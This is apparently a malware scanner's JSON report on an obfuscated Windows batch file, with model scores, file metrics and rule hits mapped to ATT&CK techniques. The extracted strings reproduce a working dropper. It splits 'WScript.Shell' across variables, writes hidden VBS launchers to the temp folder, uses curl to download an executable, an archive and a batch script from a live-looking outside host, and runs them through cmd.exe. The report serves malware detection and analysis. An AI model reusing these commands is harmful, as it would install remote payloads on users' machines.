{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.8911781907081604,
        "class": 0,
        "threshold": 0.9987763166427612
      }
    ],
    "prob": 0.8911782,
    "class": 0,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.8911782,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.48895434,
        "class": 0
      },
      {
        "m": "az/batch",
        "prob": 0.28070176,
        "class": 0
      }
    ],
    "version": "v17.17",
    "threshold": 0.9987763,
    "analyzed_at": "2026-05-31T04:55:52Z"
  },
  "path": "5f102302b7c59dbb570a8041f05e64df2795ef799b7d0e6dbc4213239331d542.bat",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(C)H₂(CmPo₂)",
        "x": 34,
        "ff": {
          "m": {
            "file": {
              "size": 1741.0,
              "entropy": 5.17,
              "size_bytes": 1741.0
            },
            "text": {
              "digit_ratio": 0.12,
              "space_count": 95.0,
              "total_lines": 40.0,
              "char_entropy": 5.17,
              "unique_chars": 62.0,
              "lines_over_200": 3.0,
              "avg_line_length": 42.55,
              "max_line_length": 271.0,
              "empty_line_ratio": 0.3,
              "last_line_length": 13.0,
              "long_token_count": 3.0,
              "whitespace_ratio": 0.08,
              "most_common_ratio": 0.09,
              "line_length_stddev": 69.38,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 2.0,
              "most_common_char_codepoint": 37.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "@echo off"
            ],
            [
              30,
              "u8",
              "set \"fdaa=set \""
            ],
            [
              46,
              "u8",
              "%fdaa%\"gfgfs=C:\\Prog\""
            ],
            [
              68,
              "u8",
              "%fdaa%\"hghgdgdfsz=ram\""
            ],
            [
              91,
              "u8",
              "%fdaa%\"hyturdfgf=Data\\\""
            ],
            [
              116,
              "u8",
              "%gfgfs%%hghgdgdfsz%%hyturdfgf%"
            ],
            [
              148,
              "u8",
              "set \"fgdgh=set \""
            ],
            [
              165,
              "u8",
              "%fgdgh%\"vbnvbv=Wscr\""
            ],
            [
              186,
              "u8",
              "%fgdgh%\"jhgcvbc=ipt.S\""
            ],
            [
              209,
              "u8",
              "%fgdgh%\"jhvbcs=hell\""
            ],
            [
              231,
              "u8",
              "%vbnvbv%%jhgcvbc%%jhvbcs%"
            ],
            [
              258,
              "u8",
              "set \"ghjgr=set \""
            ],
            [
              275,
              "u8",
              "%ghjgr%\"cvbcvbsds=WSc\""
            ],
            [
              298,
              "u8",
              "%ghjgr%\"gfgxxc=rit.Arg\""
            ],
            [
              322,
              "u8",
              "%ghjgr%\"hgvbcvbc=uments\""
            ],
            [
              348,
              "u8",
              "%cvbcvbsds%%gfgxxc%%hgvbcvbc%"
            ],
            [
              379,
              "u8",
              "echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run  ^\u0026 %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^\u0026 , 0, False \u003e \"%tmp%/b1.vbs\""
            ],
            [
              500,
              "u8",
              "(echo if not exist \"%tmp%/document.jpg\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99"
            ],
            [
              773,
              "u8",
              "echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run  ^\u0026 %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^\u0026 , 0, False \u003e \"%tmp%/b2.vbs\""
            ],
            [
              894,
              "u8",
              "(echo if not exist \"%tmp%/7z.exe\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5c"
            ],
            [
              1156,
              "u8",
              "echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run  ^\u0026 %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^\u0026 , 0, False \u003e \"%tmp%/b3.vbs\""
            ],
            [
              1277,
              "u8",
              "(echo if not exist \"%tmp%/2.bat\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5ce"
            ],
            [
              1531,
              "u8",
              "cmd.exe /c %gfgfs%%hghgdgdfsz%%hyturdfgf%sett.bat\""
            ],
            [
              1582,
              "u8",
              "cmd.exe /c %gfgfs%%hghgdgdfsz%%hyturdfgf%7z.bat\""
            ],
            [
              1631,
              "u8",
              "cmd.exe /c %gfgfs%%hghgdgdfsz%%hyturdfgf%2.bat\""
            ]
          ],
          "v": {
            "file.stem": "5f102302b7c59dbb570a8041f05e64df2795ef799b7d0e6dbc4213239331d542",
            "file.basename": "5f102302b7c59dbb570a8041f05e64df2795ef799b7d0e6dbc4213239331d542.bat"
          },
          "id": "batch"
        },
        "id": 0,
        "sz": 1741,
        "ts": [
          {
            "c": 0.699999988079071,
            "d": "Windows %TEMP% or %TMP% environment reference",
            "e": [
              "%tmp%"
            ],
            "i": "micro-behaviors/fs/path/temp::win-temp-env",
            "l": 2,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "a": "T1105",
            "c": 0.699999988079071,
            "d": "curl command keyword",
            "e": [
              "curl"
            ],
            "i": "micro-behaviors/communications/http/download/curl::curl-keyword",
            "l": 1,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "curl or wget with output flag",
            "e": [
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/7zz.exe\" -o ",
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/2.bat\" -o ",
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/tempy.7z\" -o "
            ],
            "i": "objectives/command-and-control/dropper/delivery/download-execute::fetch-output-flag",
            "l": 1,
            "m": "B0024",
            "el": [
              "embedded@0x37e:unknown",
              "embedded@0x4fd:unknown",
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "a": "T1105",
            "c": 0.699999988079071,
            "d": "curl command",
            "e": [
              " curl "
            ],
            "i": "micro-behaviors/communications/http/download/curl::curl-cmd",
            "l": 3,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "a": "T1105",
            "c": 0.699999988079071,
            "d": "curl download to file",
            "e": [
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/tempy.7z\" -o",
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/7zz.exe\" -o",
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/2.bat\" -o"
            ],
            "i": "micro-behaviors/communications/http/download/curl::curl-output-file",
            "l": 3,
            "el": [
              "embedded@0x1f4:unknown",
              "embedded@0x37e:unknown",
              "embedded@0x4fd:unknown"
            ]
          },
          {
            "c": 0.20000000298023224,
            "d": "tmp keyword",
            "e": [
              "tmp"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::tmp",
            "l": 1,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "c": 0.30000001192092896,
            "d": "curl command",
            "e": [
              "curl -k"
            ],
            "i": "micro-behaviors/communications/http/download/curl::curl-cmd-dup",
            "l": 1,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "c": 0.8600000143051147,
            "d": "curl/wget download client token",
            "e": [
              "curl"
            ],
            "i": "micro-behaviors/data/text/keywords/tool::download-client",
            "l": 1,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "a": "T1195.002",
            "c": 0.9800000190734863,
            "d": "Regex component marker",
            "e": [
              " curl "
            ],
            "i": "objectives/supply-chain/trojanized/build-pipeline::gha-curl-extraheader-post--rx-5",
            "l": 1,
            "el": [
              "embedded@0x1f4:unknown"
            ]
          },
          {
            "c": 1.0,
            "d": "shell code embedded in string",
            "e": [
              "(echo if not exist \"%tmp%/2.bat\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5ce",
              "(echo if not exist \"%tmp%/document.jpg\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99",
              "(echo if not exist \"%tmp%/7z.exe\" ^( curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5c"
            ],
            "i": "metadata/lang/embedded::shell",
            "l": 2,
            "el": [
              "embedded@0x4fd:0x4fd",
              "embedded@0x1f4:0x1f4",
              "embedded@0x37e:0x37e"
            ]
          },
          {
            "d": ".exe extension reference",
            "e": [
              ".exe"
            ],
            "i": "micro-behaviors/fs/path/extension::exe-dup",
            "l": 2,
            "el": [
              "embedded@0x37e:unknown"
            ]
          },
          {
            "a": "T1105",
            "c": 0.8999999761581421,
            "d": "curl writes Windows executable path",
            "e": [
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/7zz.exe\" -o \"%gfgfs%%hgh"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::curl-output-to-exe-path",
            "l": 1
          },
          {
            "c": 0.4000000059604645,
            "d": "curl writes downloaded output file",
            "e": [
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/tempy.7z\" -o "
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::output-flag",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Drops script in temporary directory",
            "e": [
              "%tmp%/b1.vbs"
            ],
            "i": "objectives/command-and-control/dropper/lnk/script-drop::script-in-tmp",
            "l": 4
          },
          {
            "d": "curl command",
            "e": [
              "curl"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::curl-cmd-dup",
            "l": 1
          },
          {
            "d": ".vbs extension reference",
            "e": [
              ".vbs"
            ],
            "i": "micro-behaviors/fs/path/extension::vbs",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "Echo off",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::echo-off",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Download and run remote executable",
            "e": [
              "curl -k \"https://bigbirdmarketing.com/a5f1ac4966fe9654e51ca877711b46a3-6226f7cbe59e99a90b5cef6f94f966fd/7zz.exe"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::curl-remote-exe",
            "l": 1
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8999999761581421,
            "d": "Batch has long encoded token",
            "e": [
              "text.long_token_count = 3.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-has-long-token",
            "l": 1
          },
          {
            "d": ".bat extension reference",
            "e": [
              ".bat"
            ],
            "i": "micro-behaviors/fs/path/extension::bat-dup",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive extraction command marker",
            "e": [
              "7z"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extract",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.4000000059604645,
            "d": "Generic cmd/command/result field word fragment",
            "e": [
              "cmd"
            ],
            "i": "objectives/command-and-control/beacon/network/json::result-command-word",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1071.001",
            "c": 0.75,
            "d": "HTTP/HTTPS URL literal (raw)",
            "e": [
              "https://bigbirdmarketing.com"
            ],
            "i": "micro-behaviors/communications/http/lib/invoke-webrequest::uri-literal-raw",
            "l": 2,
            "m": "C0002"
          },
          {
            "c": 0.8500000238418579,
            "d": "Execute commands via cmd.exe /c",
            "e": [
              "\ncmd.exe /c %"
            ],
            "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 40.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1547.001",
            "c": 0.6000000238418579,
            "d": "Run value name string",
            "e": [
              "Run"
            ],
            "i": "objectives/persistence/login/startup/registry::run-value-name",
            "l": 1
          },
          {
            "c": 0.9399999976158142,
            "d": "Batch echo redirects staged content",
            "e": [
              "\necho CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run  ^\u0026 %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^\u0026 , 0, False \u003e "
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::grouped-echo-stage-redirect--rx-3",
            "l": 1
          },
          {
            "c": 1.0,
            "d": ".vbs extension",
            "e": [
              ".vbs"
            ],
            "i": "objectives/command-and-control/dropper/builder::vbs-ext",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive download tool marker",
            "e": [
              "curl"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "echo off batch command",
            "e": [
              "@echo off"
            ],
            "i": "objectives/command-and-control/dropper/builder::echo-off-batch",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.7799999713897705,
            "d": "Loader key argument hint",
            "e": [
              " 3Z6fsfR11KfsRb\n"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::rc4-key-argument-hint",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Adjacent env-var expansion chain",
            "e": [
              "%vbnvbv%%jhgcvbc%%jhvbcs%"
            ],
            "i": "objectives/anti-static/obfuscation/string/concat::batch-adjacent-expansion-chain",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1204.002",
            "c": 0.8500000238418579,
            "d": "PowerShell archive file extension marker",
            "e": [
              ".7z"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extension",
            "l": 1
          },
          {
            "a": "T1059.003",
            "c": 0.699999988079071,
            "d": "cmd launches batch script",
            "e": [
              "cmd.exe /c %gfgfs%%hghgdgdfsz%%hyturdfgf%sett.bat"
            ],
            "i": "micro-behaviors/process/create/script/file::batch-script-exec-cmd",
            "l": 3
          },
          {
            "c": 0.4000000059604645,
            "d": "cmd.exe Windows command shell reference",
            "e": [
              "cmd.exe"
            ],
            "i": "objectives/execution/interpreter/script/shell::cmd-exe-dup",
            "l": 1
          }
        ],
        "sha": "5f102302b7c59dbb570a8041f05e64df2795ef799b7d0e6dbc4213239331d542",
        "path": "5f102302b7c59dbb570a8041f05e64df2795ef799b7d0e6dbc4213239331d542.bat",
        "type": "batch"
      }
    ],
    "tv": "52045"
  }
}